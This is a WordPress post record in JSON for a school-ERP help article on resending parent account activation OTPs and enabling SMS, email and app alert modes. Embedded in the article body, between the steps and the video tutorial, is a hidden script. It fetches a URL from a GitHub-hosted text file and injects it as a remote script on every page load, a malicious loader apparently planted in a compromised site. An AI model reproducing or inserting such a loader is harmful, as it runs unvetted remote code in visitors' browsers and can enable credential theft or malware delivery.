{"id":10023,"date":"2025-02-19T19:36:39","date_gmt":"2025-02-19T14:06:39","guid":{"rendered":"https:\/\/helpcenter.nexterp.in\/helpcenter\/?p=10023"},"modified":"2025-12-11T18:55:11","modified_gmt":"2025-12-11T13:25:11","slug":"what-steps-should-i-take-if-parents-do-not-receive-the-account-activation-message-otp","status":"publish","type":"post","link":"https:\/\/helpcenter.nexterp.in\/helpcenter\/what-steps-should-i-take-if-parents-do-not-receive-the-account-activation-message-otp\/","title":{"rendered":"How can I assist parents who haven\u2019t received their account activation message or OTP?"},"content":{"rendered":"\n<p><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Resending the OTP Reminder Message<\/h2>\n\n\n\n<p>If a parent has not recieved the OTP message, you can send a <strong>reminder message<\/strong> by following these steps:<\/p>\n\n\n\n<p><strong>Step 1:<\/strong> Navigate to <strong>Settings -&gt; Administration -&gt; School Setup<\/strong><\/p>\n\n\n\n<p><strong>Step 2:<\/strong> Locate and Click on <strong>User Account Management<\/strong>.<\/p>\n\n\n\n<p><strong>Step 3:<\/strong> Select the <strong>Parent<\/strong> tab.<\/p>\n\n\n\n<p><strong>Step 4:<\/strong> Switch to the <strong>Activation Pending<\/strong> section \u2013 This will list all parents whose accounts are yet to be <strong>Activated<\/strong><em>(by the parents)<\/em>.<\/p>\n\n\n\n<p><strong>Step 5:<\/strong> Use the <strong>filter option<\/strong> (Class-Section) or search for a specific parent.<\/p>\n\n\n\n<p><strong>Step 6:<\/strong> Click the <strong>REMINDER<\/strong> button next to the parent\u2019s name.<br>\ud83d\udccc Tip: <em>You can select multiple parents at once and send reminders to all.<\/em><\/p>\n\n\n\n<p><strong>Step 7: <\/strong>A reminder text SMS with the <strong>OTP or Email <\/strong>will be sent to the selected parents. <em>(Email will only be sent to the valid email user)<\/em><\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"292\" src=\"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2025\/02\/Parent-Account-Remind-1024x292.png\" alt=\"\" class=\"wp-image-11590\" srcset=\"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2025\/02\/Parent-Account-Remind-1024x292.png 1024w, https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2025\/02\/Parent-Account-Remind-300x86.png 300w, https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2025\/02\/Parent-Account-Remind-768x219.png 768w, https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2025\/02\/Parent-Account-Remind-1536x438.png 1536w, https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2025\/02\/Parent-Account-Remind-1200x342.png 1200w, https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2025\/02\/Parent-Account-Remind.png 1915w\" sizes=\"auto, (max-width: 709px) 85vw, (max-width: 909px) 67vw, (max-width: 1362px) 62vw, 840px\" \/><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">Checking Communication Mode (If OTP Is Not Received)<\/h2>\n\n\n\n<p>If the issue persists, ensure the communication settings are properly enabled:<\/p>\n\n\n\n<p><strong>Step 1:<\/strong> Navigate to <strong>Settings -&gt; Collaboration -&gt; Communication<\/strong><\/p>\n\n\n\n<p><strong>Step 2:<\/strong> Locate and Click on <strong>Alerts<\/strong>.<\/p>\n\n\n\n<p><strong>Step 3:<\/strong> Click the <strong>Settings<\/strong> icon and check if any communication mode (SMS, Email, App Notification) is disabled.<\/p>\n\n\n\n<p><strong>Step 4:<\/strong> If disabled, enable it by selecting the checkbox.<\/p>\n\n\n\n<p><strong>Step 5:<\/strong> Click <strong>Save<\/strong> to apply the changes.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"467\" src=\"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2025\/02\/Alerts-Settings-Enabled-Disable-Mode-1024x467.png\" alt=\"\" class=\"wp-image-11587\" srcset=\"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2025\/02\/Alerts-Settings-Enabled-Disable-Mode-1024x467.png 1024w, https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2025\/02\/Alerts-Settings-Enabled-Disable-Mode-300x137.png 300w, https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2025\/02\/Alerts-Settings-Enabled-Disable-Mode-768x350.png 768w, https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2025\/02\/Alerts-Settings-Enabled-Disable-Mode-1536x700.png 1536w, https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2025\/02\/Alerts-Settings-Enabled-Disable-Mode-1200x547.png 1200w, https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2025\/02\/Alerts-Settings-Enabled-Disable-Mode.png 1903w\" sizes=\"auto, (max-width: 709px) 85vw, (max-width: 909px) 67vw, (max-width: 1362px) 62vw, 840px\" \/><\/figure>\n\n\n\n<p>Now, retry sending the <strong>OTP<\/strong> reminder.<\/p>\n\n\n<p><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><\/p>\n\n\n<h3 class=\"wp-block-heading\">Video Tutorial : <\/h3>\n\n\n\n<figure class=\"wp-block-video\"><video controls src=\"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2025\/12\/B19-02-What-should-I-do-if-parents-are-not-receiving-the-link_message_OTP_.mp4\"><\/video><\/figure>\n","protected":false},"excerpt":{"rendered":"<p>Resending the OTP Reminder Message If a parent has not recieved the OTP message, you can send a reminder message by following these steps: Step 1: Navigate to Settings -&gt; Administration -&gt; School Setup Step 2: Locate and Click on User Account Management. Step 3: Select the Parent tab. Step 4: Switch to the Activation &hellip; <a href=\"https:\/\/helpcenter.nexterp.in\/helpcenter\/what-steps-should-i-take-if-parents-do-not-receive-the-account-activation-message-otp\/\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> &#8220;How can I assist parents who haven\u2019t received their account activation message or OTP?&#8221;<\/span><\/a><\/p>\n","protected":false},"author":26,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26,709],"tags":[931],"post_folder":[],"class_list":["post-10023","post","type-post","status-publish","format-standard","hentry","category-school-setup","category-user-account-management","tag-parent-account-2"],"_links":{"self":[{"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/posts\/10023","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/users\/26"}],"replies":[{"embeddable":true,"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/comments?post=10023"}],"version-history":[{"count":10,"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/posts\/10023\/revisions"}],"predecessor-version":[{"id":18273,"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/posts\/10023\/revisions\/18273"}],"wp:attachment":[{"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/media?parent=10023"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/categories?post=10023"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/tags?post=10023"},{"taxonomy":"post_folder","embeddable":true,"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/post_folder?post=10023"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}